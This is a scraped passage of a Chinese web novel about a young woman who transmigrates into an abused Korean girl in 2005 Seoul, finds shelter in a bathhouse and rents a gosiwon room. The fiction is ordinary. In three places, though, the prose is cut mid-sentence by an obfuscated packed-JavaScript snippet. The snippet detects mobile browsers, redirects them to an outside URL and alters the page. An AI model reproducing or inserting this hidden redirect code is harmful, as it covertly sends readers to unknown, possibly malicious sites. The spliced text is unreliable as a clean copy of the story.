《[娱乐圈]美貌单出,包吃住的女团梦》 1. 流落街头 《美貌单出,但女团出道》 晋江文学城独家/大橘多多 夏沇之靠在走廊上,阳光将她浓密的睫毛染上一层金色,她垂下眼帘盯着脚上兼职几天才买的新鞋发呆。 即使没有抬头,也能感受面前过往工作人员投来的打量目光、和频频偷瞄她的男生们。 空气里传来几个男生的窃窃私语。 “诶,这次只面试…生吗?不过长得真的超级漂亮啊!” “谁知道,可能是……或者长的漂…破格录取吧!现在还是先操心自己吧……” 她深吸口气,空气里有一股淡淡的香水味,混着某种清新剂的味道。墙对面上面贴着一张海报,是几个她不认识的男艺人,穿着肥大的衣服,表情酷酷的。 盯着海报看了几秒,脑子里冒出一个念头:她以后也会能像这样贴在墙上吗? 她再也不想……过那样的生活了,思绪不由渐渐陷入回忆之中——— 一个多月以前,她命运转折的那一天。 “啊啊啊!死人啦……” 她躺在地上看向天空,湛蓝的天空在她眼中被覆盖上一层模糊不清的红光,路人的尖叫声仿佛隔着毛玻璃一样失真。 “嗬…救……”她嘴唇阖动,一股热流却乘机从喉咙涌出,淹没了鼻腔和嘴角,淹没了她的求救声…… “好倒霉…好像是跳楼的…砸到人了……” “上面这个还活着,快叫救护车……” “谁报的警?”耳边传来仿佛隔着水面的声音。 喉咙里堵着的那口气突然通了。 她猛地吸进空气,整个人从地板上弹坐起来。慌乱地抚摸全身。没有伤口,没有折断的骨头,只有心跳在胸腔里擂鼓般狂响。 是梦,幸好是梦。 她虚脱地垂下肩膀,后怕地抹了把额头的汗,可下一秒动作僵住了。视线死死定在身下—— 细瘦得过分的小腿,一双随着她意识而弓起的脚丫,小的一掌可握。 她颤抖着伸出双手。一双还显稚嫩的手出现在眼前,指甲修剪得参差不齐,指甲缝里残留着洗不掉的污渍。 绝不是她精心保养,刚做完美甲的那双手。 脸侧忽然被什么东西似有若无地蹭了一下。她浑身汗毛炸开。害怕地闭上眼手臂一阵乱挥,直到头皮传来一阵剧痛,才惊魂未定地停下。睁开眼,手指上赫然缠绕着一缕卷发…深棕色的,在光线下泛着陌生的光泽。 是真真切切长在身上的头发,这不是她的身体! 尖叫声突破喉咙的瞬间—— 一股冷风灌入鼻中,夏沇之猛然睁开眼。 窗外快速掠过的城市景色闯入她的视野,身下传来轻微的颠簸感。她胸膛起伏不定,思绪渐渐清醒过来,自己在一辆大巴上。 顿时浑身无力地跌靠在椅背上,怅然若失地低喃:“原来都不是梦啊。” “孩子,你脸色好苍白,是不是低血糖?吃颗糖吧。” 夏沇之扭头,见是一位好心的姨母,对方塞给她几颗糖。她下意识握紧掌心的彩色玻璃纸,细微却真切存在的刺痛再次提醒着她这不是一场梦,而是已经发生的事实。 想起自己即倒霉又幸运又糟糕,不断反转的人生际遇。夏沇之剥开一颗糖放入嘴中,舌尖炸开酸甜的味道,甜的让人想哭。 “gamsahamnida……” 她忍着哭腔道谢,听到无师自通的韩语从她嘴里发出,即使已经好几天了,身体仍然不由自主地泛起鸡皮疙瘩。 那是一种灵魂和身体剥离,又或者还未完全融合的微妙怪异感,就像穿着一件极不合身的衣服,哪里都别扭,却又脱不下来。 对方不在意的挥手,关心道:“好点了吗?”又问她:“你到汉城是要去哪?” 2005年的汉城已经改名首尔,但是很多民众仍然习惯性叫汉城。 夏沇之闻言眼神迷茫了一瞬,紧了紧怀里的书包,随即扯开笑容,含糊应道:“嗯,麻浦区。” 她不知道麻浦区是什么样。只是售票员问起时脑子里蹦出这个地名。她对韩国,也就知道这么几个地方了。 阿姨微微一愣,心想这看起来邋遢的孩子笑起来还挺好看的,张嘴刚想说什么。 “麻浦区到了。” 夏沇之背起书包告别阿姨,随着人流下了大巴,她胃里早已经翻江倒海,急忙跑到角落弯腰干呕出声,良久才好过一点。 打起精神走出车站,她觉得自己仿佛一脚跌进了一张褪色的老照片,下一秒,整张照片以她为中心,猛地活了过来的错觉。 2005年的韩国街头,入眼之处没有她想象中的光鲜亮丽,街边建筑大多低矮。 街边音像店内传来她不知道歌名但莫名耳熟的韩国舞曲,外墙面贴着层层叠叠的海报,边角卷起,一阵风吹来哗啦作响。 海报上男孩们像蒲公英的发型,刘海厚得能挡住半张脸,杀马特?视线落在下方,上面标注着东方神起。 东方神起?那个传说中的完颜团?! 好吧,不管怎么样。见到熟悉的名字,即使只是明星,她也下意识心安了几分。最起码,能证明这个世界应该和她前世是同一次元吧。 但望着街头来往稀疏的行人,夏沇之脑子突然一片空白。她接下来去哪呢?下意识想拿出手机搜索信息,却摸了个空。 哦,忘记这不是智能手机时代了。这年头没了手机,人就像没了眼睛和耳朵。 万幸的是她虽然还不能回忆起原主的记忆,但继承了语言系统,没有失语权,只要能听懂、能交流,问题就不大。 夏沇之裹紧衣服,她拍拍胸口,对原主也是对自己说:“你放心,虽然现在很困难,但相信我,我一定会……”会好好活下去。 下一步,先看看周围的情况吧。 抬脚走向对面盯了许久的报亭买份地图,然后她就被现实打脸了。 放在上衣口袋里的钱不见了。她茫然无措地站在那里,像只走在路边无辜被路人踢了一脚的流浪狗。 沉默半晌,她蹲下身将脸埋进双手狠狠抹了把脸。只能怪自己太疏忽大意。一万韩元!她心在滴血,虽然也就差不多人民币70来块,但对于她只有1300多的总资产来说损失惨重,够她吃好几顿饭了。 “叮咚…” 一枚银色圆形物体顺着地面向她滚来,打了个旋倒在她面前,上面刻着一只象征长寿的鹤。 她捡起来,站起身叫住前面的小孩:“小朋友,你有东西掉了。” 小男孩转身背着手,笑嘻嘻地看着她灵活倒退:“没关系,我不买糖了,hiong你拿去买吃的吧。” 夏沇之愣了一秒,原来是钱啊,她还以为是游戏币之类的东西。抬头要喊,小男孩已经蹦跳着跑远了,书包上的卡通挂件一晃一晃。 然后才反应过来小孩话里的意思,顿时哭笑不得,“我哪点像流浪汉……” 话音未落,她视线落在对面的玻璃墙上的倒影上,然后沉默了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444199|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 磨损泛白的蓝色宽大卫衣空荡荡地挂在身上,头上戴着顶起球的毛线帽,卷曲凌乱的刘海遮住大半张脸,露出干裂的嘴唇。运动裤短了一截,露出袜子,脚上踩着沾泥巴的棉鞋,狼狈极了。 她干笑几声:“是挺像的哈。” 想到刚才还嘲笑别人的发型,结果这样看来在别人眼中她大概也差不多是这个模样,甚至更凌乱……笑意消失在她嘴角。 唉,就在几天以前,她还是站在街头上回头率不低的漂亮女孩好嘛。 只是昨天晚上原主“妈妈”带着儿子回娘家,那个“爸爸”喝醉后……她忍无可忍地拿瓶子砸破了他的脑袋,然后又在街上呆了一整夜,等天亮了才敢去车站买票来首尔,可不狼狈吗。 夏沇之撇了撇嘴,收回视线,低头展开手心,盯着那枚已经被暖热的硬币,她目光渐渐柔软,合上手掌将硬币放进裤兜,伸了伸懒腰,双手交叉背在脑后:“真是可爱的小家伙啊。” “走了走了,该出发新的旅程了。” “轰隆隆——” 天边一道雷炸响在耳边,豆大的雨点砸在脑袋上,夏沇之狼狈不堪地顶着书包跑到一处屋檐下避雨。 她抖落外套上的雨点,擦掉脸颊的湿润,朝天翻了个白眼,真是福无双至祸不单行。 “呸呸,我肯定会否极泰来。”夏沇之跺了跺脚,眼见雨一时半会停不了。她叹口气,吸了吸有点塞住的鼻子。她双手抱腿,下巴搁在膝盖上,认命地蹲坐在书包上等雨停。 雨势越发大了,雨幕中的天色越来越深。目光沉静地看着屋檐外的地上已经积了一层水,雨滴在水面像一盆沸腾的肉汤,咕噜噜冒着水泡。 “咕咚。” 想起妈妈做的肉片汤了,肉片Q弹嫩滑,肉汤酸辣爽口,想起那种味道,让她唾液在嘴里泛滥,继而眼眶酸楚。爸妈现在在做什么?发现自己女儿死了,该会哭成什么样? 之前她还非常抗拒上学回家后突然多了弟弟,但现在想来,她这个号注销了,他们还能重新培养小号,也不至于太伤心吧? 她用力眨了眨眼,把那股湿意逼回去。 不能想,现在不能想这些。 眼见天越来越黑,雨也越下越大,夏沇之开始急了起来。下午她找到一家网吧查找资料,但网页很少有租房信息,她只查到除了担心的身份证问题,租房竟然还要交高额保证金,显然她付不起。 正苦恼间,肩膀突然被人拍了拍。夏沇之身体条件反射地一抖,警惕地抬头看过去。 檐角空气潮湿冰冷,只有杂货店的灯光浅浅照来。 一张笑吟吟的脸出现在眼前,单眼皮,高鼻梁,带着耐克白色运动发带,像那种在阳光下迎风奔跑的少年。 夏沇之注意到他也蹲了下来,和她目光平视,这点细节让她被陌生人打扰的不悦消散大半,小弟弟还挺有礼貌的。 当然,最重要的是他眼神很干净,让她莫名地感觉挺亲切。 “那个……我看你在这坐很久了,你要不要进来一点?这里没风。”发带少年见自己吓到了人,有些不好意思地笑着指了指旁边。 夏沇之这才发觉自己坐得太靠近外面,裤脚被雨水溅湿了一些,冷冰冰地贴在腿上。她道谢后顺从的挪到更里面,将湿掉的地方折了起来。 抬头却发现对方还蹲在她旁边,不由疑惑:“或许,还有什么事情吗?” 对上她眼中隐隐疏离的神色,他脸上露出迟疑的神色,“啊,我是88年生人……” 2. 澡堂弟弟 她一脑袋问号,然后呢?干嘛突然说自己的出生年份,下意识在心里算了算:“哦,那你17岁啦。” 看外表还以为更小一点呢,然后她感觉眼前人好像不满地瞪了她一眼。 “是18岁。” 男孩强调道。 那种神态腔调很像她以前未成年时那样,总是喜欢报虚岁,希望自己快快长大。夏沇之忍不住偷笑,但转眼想到自己现在的处境又愁起来。 话题被带偏,他有点无语地伸手扯了扯头上的发带,又按下耐心问她:“我是问你,你多少年出生的?” 脑袋里被塞两份记忆,夏沇之到现在一回想起原主记忆就头疼,此刻并没记起韩国的社交礼仪—见面先报年龄确定前后辈关系的惯例。 “啊哈哈,原来是这样,那你直接问不就好了,”她有些尴尬的抓抓脑袋,“我是03年……” “诶——”撞进他睁大的眼睛,糟了,说顺嘴了。 急忙停下话,她差点咬到舌头,生硬地转移话题:“啊,我是说我是91年的。” 低头吐吐舌头,好险把真实出生年份说出来了。不过转念一想,她明明就是二十岁的人,结果现在却反而要装小孩,这念头冒出来,她自己都觉得荒唐。 “……就说你看起来就很小。”少年挑了挑眉,姿势放松下来,就是这孩子语言表达能力有点堪忧啊。 然后夏沇之感觉他说话态度又变了,语气更加亲近,看过来的目光活像她看家里不懂事的小屁孩一样,她忍不住皱眉: “你干嘛这样看我!” 少年伸手作势要敲她脑袋,看她缩脖子就笑着收回手,换成戳她肩膀。挑起一边嘴角,懒散地说:“呀!后辈你的礼仪呢,要叫hiong呀,在外面要有礼貌,不然会吃苦头的知道吗?” 夏沇之目瞪口呆,这人怎么气质这么突变,乖巧学霸秒变成拽哥校霸。 “怎么傻呆呆的?”他眉头松开又皱起,不知道想到了什么,语重心长对她说:“虽然是离家出走,但也不能就这样在外面过夜啊,这种天气夜晚很冷的,等雨停赶紧回去吧。” 谁离家出走?她正要反驳,突然想起自己好像还确实是离家出走,虽然原因肯定和他想的不一样,但结果殊途同归,一时间卡壳住。 夏沇之伸手挠了挠脸,沮丧道:“我也不想,这不是还在下雨没找到地方嘛。” 至于住旅馆,她刚才第一时间否决了——本来钱就不够,要精打细算才行。所以她之前本来打算等雨停了就到之前路过的24小时便利店去过夜。 少年见她这么说,更以为自己猜对了,真是个胆大妄为的家伙。“……你还想走几天?和家人好好沟通,相信他们也是想为你好。” 瞧了眼手表的时间,又不放心地看了眼可怜兮兮缩成一团的小孩,眉头微微蹙起,眼里闪过一丝纠结。 那对父母?夏沇之暗暗翻了个白眼,却知道劝她的心是好的,遂点了点头。 “雨停了。”他转头看向黑漆漆的夜色中,晚上肯定会很冷。算了,今天就多管闲事一次好了。 果然,雨不知道什么时候已经停了下来,只剩下屋檐上流淌下来的滴答声和店铺里隐隐传来的电视剧声。 “来吧,koma(小鬼)。” 发带少年也不再纠结,起身对她伸出手,“hiong请你去澡堂,泡个热水澡然后好好睡一觉,明天要乖乖回去哦。” 咦,澡堂过夜?夏沇之眼睛一亮,这对南方长大的她来说是知识盲区。 她仰起脸,对上他含笑的眼睛。理智还在小声嘀咕“不要随便跟陌生人走”,可犹豫了一下,还是伸出手握住了他的。 少年的手干燥温暖,暖意从掌心传来。 “嘶,你手好冰啊,穿这么少很冷吧。”少年握住她的手放在掌中摩擦生热,他心里嘀咕一声:这孩子手好软。 夏沇之眨眼,“诶?我没怎么感觉冷啊,就是有点凉而已。” “傻瓜!那就是冷啊……” “友谊路澡堂。” 夏沇之口中念着名字,这里离刚才呆的地方才只隔着十来米远,应该已经开了不少年头,招牌是褪色的红字。下面一行小字写着“男汤·女汤”。 门帘是那种厚重的塑料条,被空调外机吹得微微晃动,露出里面昏黄的灯光。帘子边缘已经泛黄,不知道是被太阳晒的还是被手摸的。 少年上前推开门带她进去,一股热气和肥皂味扑面而来,夹杂着淡淡的漂白水味道。让她想起小时候妈妈洗衣服时的味道。 玄关处很小,右手边是柜台,一个围着褪色围裙的大妈正低头织毛衣,听见门帘响抬头瞥了俩人一眼,又继续低头。嘴里问道:“洗吗?” “内。” 她手中动作不停,用下巴指了指墙上的价目表:成人5000韩元,学生4000韩元,幼儿3000韩元。 她的一万韩元本来可以付他们两个人的费用还绰绰有余……夏沇之捂着心口,等她从失去钱财的痛苦里回过神拿出钱,对方已经付完了。 有些不好意思想将钱给他,这人比她还小几岁呢,哪能真让他请,能知道这个过夜地方她就很开心了。 男孩拿着两把拴着红色塑料绳的钥匙,转身看见她的举动,环过她的脖子直接手工翻面,手臂自来熟地架在她肩膀上向内走去。 一副十足大哥语气:“呀,钱收回去。前辈在呢,哪有让后辈掏钱的。” 好重,皱着脸将少年的手臂抖落。超重的好不好,岌岌可危的体力值就要耗掉底了。 但她向来不是喜欢来回拉扯的人,总觉得这样很奇怪,于是只好承情,打算好好体验体验韩国澡堂的乐趣啦。 饶有兴致地打量着韩国古早时期的澡堂,直到对方拉着她径直往布帘上写着大大的“男士入口”那,才猛然止步。 “那个,你钥匙给我吧,我自己过去就行。” “嗯?”少年停下脚步,奇怪道:“我们一起的啊。” 一起?!夏沇之疑惑地再次望向门口——确实是“男士入口”。她皱起眉:“可这里不是男士入口吗?” 谁知道少年却理所当然道:“没错,所以一起进……” 话没说完,他脸色一变。视线落在她凌乱发丝遮盖的脸上,几秒后他伸手拨开她额前的乱发—— 那双湿润的眼睛像受惊的小鹿般眨了眨,睫毛浓密纤长。昏黄灯光下,她的嘴唇颜色很淡,皮肤透出近乎透明的苍白,仿佛一碰就会碎掉。 少年的脸色刷地一下从脸颊红到耳根。他像被烫到似的松开她的手腕,慌乱地连退两步,愕然道:“你……你是女孩?!” 想到之前对她做的种种——拉手、架肩膀、让人叫哥,他整个人都懵了。 “什么啊,我本来就是啊。” 夏沇之将被弄乱的刘海归好位,抬头见他如遭雷击的样子,终于意识到什么。她低下头,肩膀微微发颤,直到对方开始羞恼才勉强停止。 忍笑道:“原来你以为我是男孩啊?”她还以为是这弟弟自来熟呢。 少年嘴巴微微张开又合上,脸颊微微鼓起,眼神里充满慌乱和一丝委屈,看起来倒比她更像初中生。刚才那点稳重劲儿全不见了。 一旁边进出的男士们看着两个孩子一个笑,一个气,皆投去笑眯眯的目光。哎呀呀,真是活力四射的青春时代啊。 注意到这些视线,他沉默几秒后拉着她手臂走到一边:“你…那……我刚才让你叫hiong,你怎么也不纠正我。” 不怪他认错,她衣服宽大,长发全塞进了帽子,又有刘海遮掩。十几岁的孩子本来就容易雌雄莫辨,让叫哥她也不反驳,自然而然就以为是个比较瘦弱的小男孩。 夏沇之笑容猛然僵住,啊?不都是哥……吗?穿越后就胀痛的脑袋闪过模糊的记忆,她捂着头喃喃道:“原来哥哥的叫法还分男女啊。” 她快速回忆自己今天的叫法。万幸请教的大都是大叔大妈或者小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444200|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,没叫错过。松一口气的同时,心里默默记下这个教训。 少年耳尖的听到她的话,狐疑道:“你是外国人吗?” 视线落在她灯光下泛着深棕色光泽的卷发,但亚洲人发色也有很多偏深棕色,就像他自己瞳仁颜色也浅,所以一开始没觉得不对。 但现在想来,不懂前后辈关系,连称呼都不懂,口音听来也有些怪,怪不得他一开始就觉得她有点微妙的不同。 “对,没错,我才来韩国,所以对这些记忆并不是很懂,希望你别生气。”夏沇之点点头,决定将错就错,省得解释不清。 不过说是外国人倒也不算骗他。她灵魂本来就是中国人。而且原主从小长相就异于常人,虽然越长大痕迹越淡,到现在除了毛发比亚洲人淡一个色号,其他看不出混血感。但说是外国人也说得过去。 “那……那你韩语说得挺好的。”他顿了顿,似乎想缓解尴尬气氛,又或许是好奇,追问她:“不过,你怎么一个人在这儿?你爸妈呢?怎么能让你一个人在外……” “我和家里闹了矛盾,”夏沇之头疼地截住他的话,简单解释道:“所以才自己出来,我好累想先去泡澡。” “哦,”想到自己闹出的乌龙,颇有些手忙脚乱地将钥匙拿出,又停在半空握紧,他别过脸咳了一声,不自在地抿抿嘴唇:“钥匙要去换,这两把都是男生的。” “好,我去换。” 她伸手去拿,却见他手躲开,抿抿嘴:“一起去吧。” “……也行。” 可能发现她是女生给了他不小的冲击?一改之前的自来熟,一路沉默地陪着她返回大堂换了钥匙,将她送到女士入口处,才听他有些扭捏地解释说:“我真的不是那么轻浮的人,之前以为你是男孩所以才……” “没关系的,”夏沇之打断他,对他眨了眨眼,宽慰道:“还要谢谢你带我过来,不然我今晚还不知道去哪呢。” 她又不是傻白甜,随便来个人都跟他走。 拿着换好钥匙进入女汤的更衣室,夏沇之脱掉泛潮的衣服,特别是原主的贴身内衣让她觉得别扭。 放衣服时手臂不小心碰到胸部,顿时一阵酸胀的疼痛传来,“哎呦,疼疼疼!” 又不敢碰,只能等待着疼痛过去。她有些火大,谁能想到好不容易熬过发育期,现在一朝回到解放前,又得重新体验一遍种“成长的烦恼”。 郁闷的推开浴室,这里并不大,墙面贴着八十年代流行的浅蓝色瓷砖。靠墙是一排淋浴头,大部分是那种老式的银色圆盘,水流冲下来发出嘶嘶的声音。 “哗啦啦……” 温热的水流溅在瘦弱的肩头。她仰起头,让水冲刷过脸,冲刷过头发,连带奔波一天的风尘仆仆也一并洗去。 主浴池在另一边,她小心泡到汤池里,胸口没入水中,酸胀的身体遇到热水发出无声的呻吟,好舒服。 她头靠在池边看着热气慢慢升腾到天花板上,那里有一扇小小的排气扇,呼呼地转着,把潮湿的空气抽出去。 身体渐渐暖了起来,心底却没着没落的。 说到底她不过只是一个普通大二英语专业在读生,从来没真正为自己做过决定。大学是爸妈选的,专业是爸妈定的,连毕业后的工作和房子都提前安排好了。 她曾经烦透了这种被安排的人生,现在好了,没人管她了。 可这猝然到来的全然自由,让她感受到无比的迷茫和孤独。 她不免开始质疑自己,现在做的选择真的正确,真的能在这异国他乡生存下去吗?也许忍一忍呢,忍到有足够的力量在逃离那个家庭。 泡的有些口干,她舔了舔唇,口腔内仿佛还残留着铁锈味。算了——那还是出来比较安全。 水汽蒸得眼皮发沉,想不下去了。不行了,好困。她起身从池子里爬出,但身体本来就累又被泡像面条似的发软,差点滑倒。幸好一位阿姨路过及时扶住了她。 “丫头没事吧?” 3. 地下考试院 夏沇之弓着身子双手环胸向对方道谢,实在是长这么大从来没有这么在别人面前穿这么少过,不太习惯。 “我没事,谢谢您。” “没事就好,下次记得不能一次泡太久,”阿姨说完顺手捏了一把她的脸,“哎一股,瞧瞧这小脸蛋,怎么长得,真是好看。” 夏沇之懵了一下,韩国人都这么开朗外向吗?遇到的人怎么一个比一个自来熟。不过前世虽然也常被夸好看,但用这张脸被夸是第一次,感觉还是挺有些微妙。 吹干的头发很毛躁,她将头发分成两股随手编成麻花辫,拿起澡堂提供的皮筋扎住。 镜子里出现一张明眸皓齿的脸,脸颊泛着被热气熏的泛粉。她看了一会,又将刘海拨了下来遮住额头,孤身在外还是小心点好。 穿着澡堂提供的统一长袖和长裤来到过夜大厅。这里是男女共用的空间,有几个看起来也是来借宿的人已经铺好了垫子准备入睡,睡下的男女自觉分成两大区域。 大厅左侧,少年清瘦的身体穿着同样款式的套装,他头发还泛着潮气,坐在垫子上按着手机,似乎在发消息,熟悉的身影让她小小松了口气。 缓步走到他身边坐下,她有些眼馋地看着他的手机。即使现在的手机还是按键,屏幕像素奇低,也几乎不能上网,但她也很想拥有一部,因为这代表能快速和外界联系的安全感。 男孩是似有所感地抬头,看见她脸上露出一丝羞涩,拘谨地点点头。 夏沇之又想笑,脸上却若无其事地对他道谢:“谢谢你请我,我很喜欢。” 见她神色毫无异样,他也跟着放松下来,笑着递给了夏沇之一杯冰凉的甜米露,推荐道:“这是韩国汗蒸的仪式感,洗完澡喝上一杯会很舒服。” 虽然心里对她还很好奇,但他却很识趣的没在追问。他手臂支在腿上托着腮,看着她垂着毛茸茸的脑袋喝的头也不抬,忍不住伸手轻轻揉了揉——唔,手感不错。 夏沇之瞅了一眼他又低下头,她晚饭是在便利店买的紫菜饭团,此时虽然还不饿,但是洗完澡口干舌燥,甜米露口感丝滑,带着点米汤的味道,很解渴。 几口喝完,她舔了舔嘴唇,比着大拇指称赞:“闹木闹木好喝。” “是吧。”他笑了起来。 近距离对上少年露出的笑脸,她朦胧中觉得有一丝熟悉,正要细想却被他打断:“看你眼睛都快睁不开了,赶紧去刷牙睡觉吧。” “哦。”她确实眼眶泛酸,揉了揉眼睛,听话的起身快速去刷完牙,回来后对他笑着挥挥手,小声道:“那我先睡了。” “好,晚安。” 性格真好啊,一点也不像她记忆里17.8岁浮躁没耐心,低情商的表弟。 夏沇之闭上眼,也不知道这弟弟家里怎么教的,教养这么好,这要是姑姑见了,估计得羡慕得眼珠子都掉出来,她天天念叨的就是表弟什么时候能这么懂事。 意识渐渐模糊,可半梦半醒间,脑海又浮现起穿越后的场景。 “咿呀——” 那时她被巨大的荒谬感淹没,正如坠梦中。推拉门被粗暴拉开,是她穿越后听到的第一个声音。 还在巨大惊吓中的她被迫面对闯进来的陌生人,下意识将自己蜷缩在角落,透过杂乱的发丝看向看人。 一个圆脸泡面头的女人率先挤进狭小的房间,声音烦躁。后面跟着两个穿警服的中年男人,以及一个带着眼镜的男人。 男人脸上堆着担忧,快步上前:“韩秀啊,你醒了?你看你,考试没考好,爸爸也是为你着急……” 韩秀?是在叫她?她身体下意识发抖。恐惧,厌恶交织的情绪充斥她的心头,那是这具身体最本能的反应。 中年警察皱眉,目光扫过房间里唯一的孩子。女孩大约十三四岁,乱糟糟的卷发遮住大半张脸,身体紧绷,是一种防御又惊恐的姿态。 “安韩秀xi,是你报的警?说说情况。” “我”报的警?身体渐渐感官苏醒过来,她后知后觉感受到脑袋的胀痛并不仅仅是因为她的到来,手指在后脑勺摸到一个大包,像千万根针扎一样疼痛。 家暴? 也许这就是她来的原因。原来之前听到的报警询问不是她临死前的想象啊!只是换了一个身体而已……而已! 每一根神经都在突突地跳,脑袋像内存超载的电脑,卡得动弹不得,她抱着头疼得发不出声。 警察皱眉看了看女孩,又瞥了一眼女孩父亲,表情带着见惯不怪的平淡。他例行公事地询问了几句,做好记录。离开前蹲下来,看着夏沇之的眼睛:“小姑娘,能被领养有个家不容易…” 刚微微缓过来就听到这句话,她顿时火冒三丈,站着说话不腰疼,要不你来逝逝。 警察一行人像来时一样又快速离开房间,接着客厅传来打火机的声音,她嗅到淡淡的烟味和谈话声。 “教育孩子也要注意方法……下次别再闹到报警了,影响不好。” “又给您添麻烦了!我一定注意,哎,现在的孩子不好管教啊。” “行了,没事我们先走了。” 门关上了,脚步声渐远。 那个自称她爸的男人又转身进入房间,脸上的笑容像蜡油一样融化扭曲,他慢条斯理地卷起袖子,动作甚至称得上优雅。 门口,女人目光复杂地看了眼她,欲言又止,最后低头转身离开:“该做晚饭了。” 房间里的空气像凝固的猪油。 夏沇之顿感不妙,还没站起身,头皮就传来一股大力的撕扯迫使她抬起头,逆光让她看不清男人的神色,只听他语气温和:“报警?” “啪” 她一激灵睁开眼,见是有人起身掉落了东西发出的声音。长长地呼出一口气,身体卸力地摊回垫子上。 扭过头,少年熟悉的身影躺在她一米远的地方,细心地将她和其他人隔开。她闭上眼,将毯子往身上拉了拉,这次梦里一片安静。 …… 夏沇之是被吵醒的。 她猛然翻身坐起,看见陌生的环境一愣,缓了几秒,昨天的记忆回笼,她环顾四周,却见大厅里只剩下她自己,还有不远处正在整理大厅的大婶。 阳光从窗户斜照进来,落在地板上空荡荡的。她愣了一会儿,说不清心里是失落,还是松了口气。 仿佛昨晚那个雨夜、那个少年、那些温暖的话,都像梦一样,被阳光一照就散了。 她盯着空荡荡的垫子发了几秒的呆,随即揉了揉脸,回归了残酷的现实。 怅然若失地换回自己的衣服走到前台处,清洁阿姨正在打扫卫生,她上前归还钥匙。年轻的前台看见她的钥匙号牌,笑着叫住她,递给她一张纸条。 “是你欧巴留给你的。” 她愣了一下,随即想到应该是昨天那个少年,他对称呼还挺固执。 伸手接过,见上面写着一串电话号码和几句话: “我有事要先走,看你睡的很香不忍心打扰。虽然不知道你为什么独自离家出走,但自己一个人在外面不安全,还是赶紧回家去吧。这是我的电话号码,如果需要帮忙的话联系我。” 右下角画了个笑脸图案,还有一个花里胡哨的签名,她认了半天也没认出来。这才突然想到都没问过他的名字呢。 想起昨天的种种,她忍不住用手锤了锤脑袋,嘀咕道:“连名字都忘了问,真是糊涂了。” 将纸条小心叠好放进书包里,她打算等自己情况好转在联系这个好心的弟弟。又朝前台询问了一些附近的信息才离开。 掀开沉重的门帘走出门口。 雨过天晴,云淡风轻,阳光从天际洒落在她身上,她伸了个懒腰,昨天的疲惫以及消极情绪一扫而空。 从书包里拿出500韩元买了一份还带有墨臭味的麻浦区地图。在请教老板后找到了自己所在的位置——合井洞附近一带。 这里应该属于老城区和半工业区混合的地带,入眼满是低矮老旧住宅,楼间距很窄,电线杆上缠绕着密密麻麻的电线。 脚步轻快地七拐八绕走出一条又一条小巷子,她忍不住翘起嘴角,觉得自己现在就像孤身一人踏上西天取经之路一样,刺激又困难重重。 这场异世之旅的尽头会是什么她不知道,不过眼前第一难她倒是知道:房子。 灯光明亮的便利店里,女孩整理着货架上的零食,淡淡地看了眼夏沇之:“没钱就去住考试院呗,那里不用保证金。” 在韩国,考试院最初是为读书人备考提供的便利,90年代后逐渐演变成了低收入人群和独居者的“根据地”。 还有这种好地方!夏沇之眼睛骤然亮了起来。 “就在前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444201|201077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巷子拐角那,房东人也不错的。”路边餐馆里,大妈听到夏沇之的问路,很是热心肠的指路。 小巷里地上坑坑洼洼,到处都是昨天存留的积水,她踮着脚尖小心走到露出的招牌前。 就是这里了,她站定向下看去—— 这是一个建在半地下室的考试院,大门被马路边的台阶掩住一半,阳光照不进的地方很暗,看不清里面的景象。 手指攥紧包带,她鼓起勇气走下台阶,敞开的室内散发着常年不见阳光的阴冷气息,她在门边探头轻声问:“请问有人吗?” “看房子?” 夏沇之吓得差点跳起来,她转过身,一位身材微胖,烫着小卷发,脖子上戴着条蓝色丝巾的阿姨手里拎着袋子正上下打量她。 惊魂未定的拍拍胸口,她颤声道:“内,我过来租房子……” “啪嗒。” 昏黄的灯光照亮简陋的房间,房东说:“只有这间最便宜,要不要?” 这间房间极小,站在床边伸手就能碰到墙,除了床就只有简单的衣柜和桌子。 没卫生间,没有窗户,所以白天也光线昏暗要开灯。墙壁是用木板隔开的空间,肯定隔音差,让人看一眼就觉得压抑。 不像房间倒像个盒子,这样的房间是就算玩游戏遇到,都不稀罕进去搜物资的程度。 但,生生抑制住自己想要转身离开的冲动,夏沇之狠心点点头,勉强挤出一个笑容,“就这间好了。” “房租20万,这个月还剩18天,”房东视线在她身上转了一圈,语气悠悠地说:“就收你10万好了。” “好的,谢谢您的照顾。” 夏沇之松了口气,10万韩元也就是大约700多块人民币,她手里付完房租还有300来块。不至于下一顿饭都吃不起。 “这里是公共区域有厨房和卫浴。厨房有冰箱,里面提供免费的米饭和泡菜……” 房东走在前面和她讲着考试院的布局,来到前台坐下,“证件给我登记一下。” 夏沇之心里咯噔一声,来了。 